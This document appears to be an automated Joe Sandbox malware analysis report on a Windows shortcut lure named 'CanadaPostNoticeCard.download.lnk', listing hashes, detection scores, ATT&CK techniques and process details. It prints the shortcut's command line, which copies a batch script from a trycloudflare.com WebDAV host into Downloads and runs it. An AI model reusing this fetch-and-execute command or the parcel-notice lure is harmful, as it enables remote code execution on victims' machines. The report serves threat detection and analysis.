Edit tour
Windows
Analysis Report
CanadaPostNoticeCard.download.lnk
Overview
General Information
| Sample name: | CanadaPostNoticeCard.download.lnk |
| Analysis ID: | 1542731 |
| MD5: | 7ae270eb2a01528a4ca266ac565393d6 |
| SHA1: | 71d2f5f77bc5e46774046a29ab3502c198a4f559 |
| SHA256: | e983feab214d68fd7232c239dbe96aaa50c636972ed4840d70b4c4aea898cbff |
| Tags: | CloudflareTunnelsRATlnkuser-JAMESWT_MHT |
| Infos: |  |
 | |
Detection
| Score: | 60 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Machine Learning detection for sample
Windows shortcut file (LNK) contains suspicious command line arguments
Program does not show much activity (idle)
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Suspicious Copy From or To System Directory
Classification
- System is w10x64
cmd.exe (PID: 7716 cmdline: "C:\Window s\System32 \cmd.exe" /c copy /Y "\\stays- recipes-fo ld-day.try cloudflare .com@SSL\D avWWWRoot\ bas.cmd" " C:\Users\u ser\Downlo ads\bas.cm d" & "C:\U sers\user\ Downloads\ bas.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7724 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
⊘No configs have been found
⊘No yara matches
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): | ||
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection | |
|---|
| Source: | Integrated Neural Analysis Model: | ||
| Source: | Joe Sandbox ML: | ||
System Summary | |
|---|
| Source: | LNK file: | ||
| Source: | Classification label: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
Persistence and Installation Behavior | |
|---|
| Source: | Process created: | ||
| Source: | Thread injection, dropped files, key value created, disk infection and DNS query: | ||
| Source: | Last function: | ||
| Source: | Thread injection, dropped files, key value created, disk infection and DNS query: | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | Windows Management Instrumentation | Path Interception | 1 Process Injection | 1 Process Injection | OS Credential Dumping | 1 Process Discovery | Remote Services | Data from Local System | Data Obfuscation | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
| Credentials | Domains | Default Accounts | Scheduled Task/Job | Boot or Logon Initialization Scripts | Boot or Logon Initialization Scripts | Rootkit | LSASS Memory | 1 File and Directory Discovery | Remote Desktop Protocol | Data from Removable Media | Junk Data | Exfiltration Over Bluetooth | Network Denial of Service |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | ReversingLabs | |||
| 3% | Virustotal | Browse | ||
| 100% | Joe Sandbox ML |
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Joe Sandbox version: | 41.0.0 Charoite |
| Analysis ID: | 1542731 |
| Start date and time: | 2024-10-26 08:50:23 +02:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 1m 36s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | default.jbs |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 3 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | CanadaPostNoticeCard.download.lnk |
| Detection: | MAL |
| Classification: | mal60.winLNK@2/0@0/0 |
| Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): dllhost.exe
- Not all processes where analyzed, report is missing behavior information
⊘No simulations
⊘No created / dropped files found
| File type: | |
| Entropy (8bit): | 4.572131592605447 |
| TrID: |
|
| File name: | CanadaPostNoticeCard.download.lnk |
| File size: | 1'104 bytes |
| MD5: | 7ae270eb2a01528a4ca266ac565393d6 |
| SHA1: | 71d2f5f77bc5e46774046a29ab3502c198a4f559 |
| SHA256: | e983feab214d68fd7232c239dbe96aaa50c636972ed4840d70b4c4aea898cbff |
| SHA512: | 210da8f567216e404cc4747f46c82e51b3312b667520762d98973a6d992411f3f7af89ce8517d53b4951ff4f148777f8579db1172072b741cbd863f2314a5f27 |
| SSDEEP: | 24:8GdJ2mXNHcAbABPV+Ia4I0WaAbKjbKJ0m:8Gymda/+SI8yAv |
| TLSH: | A211D04073ED9722E2B70D7309AAE7628771B0179F8AAF2E419458995D50F10E834F77 |
| File Content Preview: | L..................F.... .....}#.C....}#.C....}#.C..........................5....P.O. .:i.....+00.../C:\...................V.1......X.U..Windows.@........R.@.X.U..............................W.i.n.d.o.w.s.....Z.1......X.V..System32..B........R.@.X.V...... |
 | |
| Icon Hash: | 74f4d4dcdcc9e1ed |
General | |
|---|---|
| Relative Path: | |
| Command Line Argument: | /c copy /Y "\\stays-recipes-fold-day.trycloudflare.com@SSL\DavWWWRoot\bas.cmd" "%USERPROFILE%\Downloads\bas.cmd" & "%USERPROFILE%\Downloads\bas.cmd" |
| Icon location: | %SystemRoot%\System32\SHELL32.dll |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node⊘No network behavior found
Click to jump to process
Click to jump to process
Click to jump to process
| Target ID: | 1 |
| Start time: | 02:51:18 |
| Start date: | 26/10/2024 |
| Path: | C:\Windows\System32\cmd.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff761c60000 |
| File size: | 289'792 bytes |
| MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 2 |
| Start time: | 02:51:18 |
| Start date: | 26/10/2024 |
| Path: | C:\Windows\System32\conhost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff70f010000 |
| File size: | 862'208 bytes |
| MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
⊘No disassembly